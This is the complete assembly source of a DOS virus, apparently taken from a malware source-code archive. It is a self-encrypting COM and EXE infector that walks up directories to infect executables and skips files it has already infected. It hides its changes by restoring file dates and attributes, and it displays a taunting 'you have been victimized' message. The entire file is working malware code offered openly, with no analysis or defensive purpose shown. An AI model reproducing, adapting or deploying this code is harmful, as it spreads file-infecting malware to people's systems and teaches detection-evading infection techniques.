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https://github.com/vxunderground/MalwareSourceCode.git
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485 lines
21 KiB
NASM
485 lines
21 KiB
NASM
;******************************************************************
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;* *
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;* My First Virus, a simple non-overwriting COM and EXE *
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;* infector. *
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;* by, Joshua *
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;* *
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;******************************************************************
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ID = 'SS' ; My ID
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.model tiny ; Memory model
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.code ; Start Code
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org 100h ; Start of COM file
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MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS
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START proc near
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DECRYPT: mov bx,offset START_VIRUS ; Find out our offset
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mov cx,(END_VIRUS-START_VIRUS)/2
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DECRYPT_LOOP: db 2eh,81h,37h ; XOR [BX],xxxx
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KEY dw 0 ; Crypt KEY
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add bx,2 ; Increment offset
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dec cx ; Decrement counter
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jnz DECRYPT_LOOP ; Continue until done
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START_VIRUS:
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call FIND_OFFSET ; Real start of virus
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; Calculate change in offset from host program.
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FIND_OFFSET: pop bp ; BP holds current IP
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sub bp, offset FIND_OFFSET ; Calculate net change
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; Change BP to start of
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; virus code
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; Capture INT 24h Critical error handler.
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push es ; Save ES
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mov ax,3524h ; DOS get interupt vector
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int 21h ; Call DOS to do it
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mov word ptr [bp+OLDINT24],bx ; Save old INT 24h
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mov word ptr [bp+OLDINT24+2],es ; vector
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mov ah,25h ; DOS set interupt vector
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lea dx,[bp+NEWINT24] ; Address of new interupt
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int 21h ; Call DOS to do it
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pop es ; Restore ES
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; Find out what kind of program I am, COM or EXE, by checking stack pointer.
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; This is where I store my ID in an EXE infection.
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cmp sp,ID ; COM or EXE?
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je RESTORE_EXE ; I am an EXE file
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; Restore original bytes to the COM program.
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RESTORE_COM: lea si,[bp+COM_START] ; Restore original 3 bytes
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mov di,100h ; to 100h, start of file
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push di ; Jmp to 100h when done
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movsw ; Copy 3 bytes
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movsb
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jmp short RESTORE_DONE
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; Restore original bytes to the EXE program.
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RESTORE_EXE: push ds ; Save original DS
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push es ; Save original ES
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push cs ; Set DS = CS
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pop ds
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push cs ; Set ES = CS
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pop es
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lea si,[bp+JMPSAVE] ; Copy original CS:IP and
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lea di,[bp+JMPSAVE2] ; SS:SP for return
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movsw ; Copy 8 bytes
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movsw
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movsw
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movsw
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; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy
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; original command line parameters.
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RESTORE_DONE: lea dx,[bp+DTA] ; Point to new DTA area
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mov ah,1ah ; DOS set DTA
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int 21h ; Call DOS to do it
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; Save original directory.
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mov ah,47h ; DOS get current directory
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lea si,[bp+ORIG_DIR] ; Store it here
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mov dl,0 ; Current drive
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int 21h ; Call DOS to do it
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; Search for a file to infect.
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SEARCH: lea dx,[bp+EXE_MASK] ; Search for any EXE file
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call FINDFIRST ; Begin search
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lea dx,[bp+COM_MASK] ; Search for any COM file
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call FINDFIRST ; Begin search
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mov ah,3bh ; DOS change directory
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lea dx,[bp+DOTDOT] ; Go up one direcotry
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int 21h ; Call DOS to do it
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jnc SEARCH ; Go look for more files
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; Restore default DTA, original directory, and pass control back to
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; original program.
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QUIT: mov ah,3bh ; DOS change directory
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lea dx,[bp+ORIG_DIR-1] ; Point to original directory
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int 21h ; Call DOS to do it
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push ds ; Save DS
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mov ax,2524h ; DOS set interupt vector
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lds dx,[bp+OLDINT24] ; Restore INT 24h
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int 21h ; Call DOS to do it
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pop ds ; Restore DS
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mov ah,1ah ; DOS set DTA
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mov dx,80h ; Restore original DTA
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cmp sp,ID-4 ; EXE or COM? ES,DS on stack
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jz QUIT_EXE ; Pass control to host EXE
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QUIT_COM: int 21h ; Call DOS to set DTA
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retn ; Remember, 100h was on stack
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QUIT_EXE: pop es ; Restore original ES
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pop ds ; Restore original DS
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int 21h ; Call DOS to set DTA
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mov ax,es ; AX = begin of PSP segment
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add ax,16 ; Add size of PSP to get CS
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add word ptr cs:[bp+JMPSAVE2+2],ax ; Restore IP
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add ax,word ptr cs:[bp+STACKSAVE2+2] ; Calculate SS
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cli ; Clear interrupts
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mov sp,word ptr cs:[bp+STACKSAVE2] ; Restore SP
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mov ss,ax ; Restore SS
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sti ; Set interrupts
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db 0eah ; Jump SSSS:OOOO
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JMPSAVE2 dd ? ; CS:IP for EXE return
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STACKSAVE2 dd ? ; SS:SP for EXE return
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JMPSAVE dd ? ; Original EXE CS:IP
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STACKSAVE dd ? ; Original EXE SS:SP
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CREATOR db '[Joshua]' ; That's me!
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; DOS Findfirst / Findnext services
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FINDFIRST: mov ah,4eh ; DOS find first service
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mov cx,7 ; Choose files w/ any attribute
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FINDNEXT: int 21h ; Call DOS to do it
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jc END_SEARCH ; Quit if there are errors
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; or no more files
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; Ok, if I am here, then I found a possible victim. First open the file
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; for read only.
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mov al,0 ; DOS Open file, read only
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call OPEN ; Open the file
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; Read in the beginning bytes to check for previous infection and then close.
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mov ah,3fh ; DOS Read file
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lea dx,[bp+BUFFER] ; Save the original header
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mov cx,24 ; Read 24 bytes
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int 21h ; Call DOS to do it
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mov ah,3eh ; DOS close file
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int 21h ; Call DOS to do it
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; Check if the file is an EXE.
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CHECK_EXE: cmp word ptr [bp+BUFFER],'ZM' ; Is it an EXE?
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jne CHECK_COM ; Nope, see if it's a COM
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cmp word ptr [bp+BUFFER+16],ID; Is it already infected?
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je ANOTHER ; Yep, so try another
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jmp short INFECT_EXE ; We got one! Go infect it!
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; Check if the file is COMMAND.COM
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CHECK_COM: cmp word ptr [bp+DTA+35],'DN' ; Check for COMMAND.COM
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jz ANOTHER ; If it is, try another file
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; Now, check for previous infection by checking for our presence at
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; the end of the file.
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mov ax,word ptr [bp+DTA+26] ; Put total filesize in AX
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cmp ax,(65535-(ENDHEAP-DECRYPT)); Check if too big
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jle ANOTHER ; If so, try another
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mov cx,word ptr [bp+BUFFER+1] ; Put jmp offset in CX
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add cx,END_VIRUS-DECRYPT+3 ; Add virus size to jmp offset
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cmp ax,cx ; Compare file size's
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jnz INFECT_COM ; If healthy, go infect it
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ANOTHER: mov ah,4fh ; Otherwise find another
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jmp short FINDNEXT ; possible victim
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END_SEARCH: retn ; No files found
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;*** Subroutine INFECT_COM ***
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INFECT_COM:
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; Save the first three bytes of the COM file
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lea si,[bp+BUFFER] ; Start of first 3 bytes
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lea di,[bp+COM_START] ; Store them here
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movsw ; Transfer the 3 bytes
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movsb
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; Calculate jump offset for header of victim so it will run virus first.
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; AX has the filesize. Store new JMP and OFFSET in the buffer.
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mov cx,3 ; No. bytes to write in header
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sub ax,cx ; Filesize - jmp_offset
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mov byte ptr [si-3],0e9h ; Store new JMP command
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mov word ptr [si-2],ax ; plus offset
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add ax,(103h+(START_VIRUS-DECRYPT)); New START_VIRUS OFFSET
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push ax ; Save it for later
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jmp DONE_INFECTION ; We're done!
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;*** Subroutine INFECT_EXE ***
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INFECT_EXE:
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; Save original CS:IP and SS:SP.
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les ax,dword ptr [bp+BUFFER+20] ; Get original CS:IP
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mov word ptr [bp+JMPSAVE],ax ; Store IP
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mov word ptr [bp+JMPSAVE+2],es ; Store CS
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les ax,dword ptr [bp+BUFFER+14] ; Get original SS:SP
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mov word ptr [bp+STACKSAVE],es ; Store SP
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mov word ptr [bp+STACKSAVE+2],ax ; Store SS
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; Get get the header size in bytes.
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mov ax,word ptr [bp+BUFFER+8] ; Get header size
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mov cl,4 ; Convert paragraphs to bytes
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shl ax,cl ; Multiply by 16
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xchg ax,bx ; Put header size in BX
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; Get file size.
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les ax,[bp+offset DTA+26] ; Get filesize to
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mov dx,es ; DX:AX format
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push ax ; Save filesize
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push dx
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sub ax,bx ; Subtract header size
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sbb dx,0 ; from filesize
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mov cx,16 ; Convert to SEGMENT:OFFSET
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div cx ; form
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; Store new entry point (CS:IP) in header.
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mov word ptr [bp+BUFFER+20],dx; Store IP
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mov word ptr [bp+BUFFER+22],ax; Store CS
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add dx,START_VIRUS-DECRYPT ; New START_VIRUS offset
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mov bx,dx ; Hold it for now
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; Store new stack frame (SS:SP) in header.
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mov word ptr [bp+BUFFER+14],ax; Store SS
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mov word ptr [bp+BUFFER+16],ID; Store SP
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pop dx ; Get back filesize
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pop ax
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add ax,END_VIRUS-START_VIRUS ; Add virus size
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adc dx,0 ; to filesize
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push ax ; Save AX
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mov cl,9 ; Divide AX
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shr ax,cl ; by 512
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ror dx,cl
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stc ; Set carry flag
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adc dx,ax ; Add with carry
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pop ax ; Get back AX
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and ah,1 ; Mod 512
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; Store new filesize in header.
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mov word ptr [bp+BUFFER+4],dx ; Store new filesize
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mov word ptr [bp+BUFFER+2],ax
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push cs ; Restore ES
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pop es
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mov cx,24 ; No. bytes to write in header
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push bx ; Save START_VIRUS offset
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; Write virus to victim and restore the file's original timestamp, datestamp,
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; and attributes. These values were stored in the DTA by the
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; Findfirst / Findnext services.
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DONE_INFECTION:
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push cx ; Save no. bytes to write
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xor cx,cx ; Clear attributes
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call SET_ATTR ; Set attributes
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mov al,2 ; DOS open file for read/write
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call OPEN ; Open the file
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; Write the new header at the beginning of the file.
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mov ah,40h ; DOS write to file
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pop cx ; Number of bytes to write
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lea dx,[bp+BUFFER] ; Point to the bytes to write
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int 21h ; Call DOS to do it
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; Move to end of file.
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mov ax,4202h ; DOS set read/write pointer
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xor cx,cx ; Set offset move to zero
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cwd ; Equivalent to xor dx,dx
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int 21h ; Call DOS to do it
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; Append virus to end of file.
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mov ah,2ch ; DOS get time
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int 21h ; Call DOS to do it
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mov [bp+KEY],dx ; Save sec + 1/100 sec
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; as the new KEY
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lea di,[bp+APPEND] ; to the heap
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mov cx,START_VIRUS-DECRYPT ; Number of bytes to move
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mov al,53h ; Push BX and store it
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stosb ; in the append routine
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lea si,[bp+DECRYPT] ; Move Crypt routines
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push si ; Save SI
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push cx ; Save CX
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rep movsb ; Transfer the data
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lea si,[bp+WRITE_START] ; Now copy the write
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mov cx,WRITE_END-WRITE_START ; routine to the heap
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rep movsb ; Transfer the data
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pop cx ; Get back
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pop si ; CX and SI
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rep movsb ; Recopy Crypt routine
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mov ax,0c35bh ; Tack a POP BX and
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stosw ; RETN on the end
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pop ax ; New START_VIRUS offset
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mov word ptr [bp+DECRYPT+1],ax; Store new offset
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call APPEND ; Write the file
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; Restore original creation date and time.
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mov ax,5701h ; DOS set file date & time
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mov cx,word ptr [bp+DTA+22] ; Set time
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mov dx,word ptr [bp+DTA+24] ; Set date
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int 21h ; Call DOS to do it
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; Close the file.
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mov ah,3eh ; DOS close file
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int 21h ; Call DOS to do it
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; Restore original file attributes.
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mov cx,word ptr [bp+DTA+21] ; Get original file attribute
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call SET_ATTR ; Set attribute
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pop bx ; Take CALL off stack
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; ****** B O M B S E C T I O N ******
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; Check to see if the virus is ready to activate.
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; Put all activation tests and bombs here.
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CONDITIONS: ; mov ah,2ah ; DOS get date
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; int 21h ; Call DOS to do it
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; cmp dx,1001h ; Check for Oct 1st
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; jl BOMB_DONE ; Not time yet
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; mov ah,2ch ; DOS get time
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; int 21h ; Call DOS to do it
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; cmp cl,25h ; Check for 25 min past
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; jl BOMB_DONE ; Not time yet
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BOMB: mov ah,3h ; BIOS find cursor position
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mov bh,0 ; Video page 0
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int 10h ; Call BIOS to do it
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push dx ; Save original Row and Column
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mov cx,6 ; Number of lines to print
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lea si,[bp+VERSE] ; Location of VERSE
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mov dx,080ah ; Row and Column of output
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PRINTLOOP: mov ah,2h ; BIOS set cursor
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int 10h ; Set cursor
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push dx ; Save Row and Column
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mov ah,9h ; DOS print string
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mov dx,si ; Location of VERSE
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int 21h ; Call DOS to print it
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pop dx ; Get Row and Column
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inc dh ; Increment Row
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add si,54 ; Go to next line of VERSE
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loop PRINTLOOP ; Print all lines
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mov ah,00h ; Read character from keybd
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int 16h
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pop dx ; Get original Row Column
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mov ah,2h ; BIOS set cursor
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int 10h ; Call BIOS to do it
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BOMB_DONE: jmp QUIT ; Go back to host program
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VERSE: db '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ$'
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db '<27> Guess what ??? <20>$'
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db '<27> You have been victimized by a virus!!! Do not <20>$'
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db '<27> try to reboot your computer or even turn it <20>$'
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db '<27> off. You might as well read this and weep! <20>$'
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db '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ',7,7,'$'
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; Write routine to append the virus to the end of the file.
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WRITE_START:
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pop bx ; Get back file handle
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push bx ; Save it again
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mov ah,40h ; DOS write to file
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mov cx,END_VIRUS-DECRYPT ; Length of virus
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lea dx,[bp+DECRYPT] ; Start from beginning of virus
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int 21h ; Call DOS to do it
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WRITE_END:
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; New INT 24h handler.
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NEWINT24: mov al,3 ; Fail call
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iret ; Return
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;*** Subroutine OPEN ***
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; Open a file. Takes AL as parameter.
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OPEN proc near
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mov ah,3dh ; DOS open file, read/write
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lea dx,[bp+DTA+30] ; Point to filename we found
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int 21h ; Call DOS to do it
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xchg ax,bx ; Put file handle in BX
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retn ; Return
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OPEN endp
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;*** Subroutine SET_ATTR ***
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; Takes CX as a parameter
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SET_ATTR proc near
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mov ax,4301h ; DOS change file attr
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lea dx,[bp+DTA+30] ; Point to file name
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int 21h ; Call DOS
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retn ; Return
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SET_ATTR endp
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; This area will hold all variables to be encrypted
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COM_MASK db '*.com',0 ; COM file mask
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EXE_MASK db '*.exe',0 ; EXE file mask
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DOTDOT db '..',0 ; Go up one directory
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COM_START db 0cdh,20h,0 ; Header for infected file
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BACKSLASH db '\' ; Backslash for directory
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START endp
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END_VIRUS equ $ ; Mark end of virus code
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; This data area is a scratch area and is not included in virus code.
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ORIG_DIR db 64 dup(?) ; Holds original directory
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OLDINT24 dd ? ; Storage for old INT 24 vector
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BUFFER db 24 dup(?) ; Read buffer and EXE header
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DTA db 43 dup(?) ; New DTA location
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APPEND: db (START_VIRUS-DECRYPT)*2+(WRITE_END-WRITE_START)+3 dup(?)
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ENDHEAP:
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end MAIN
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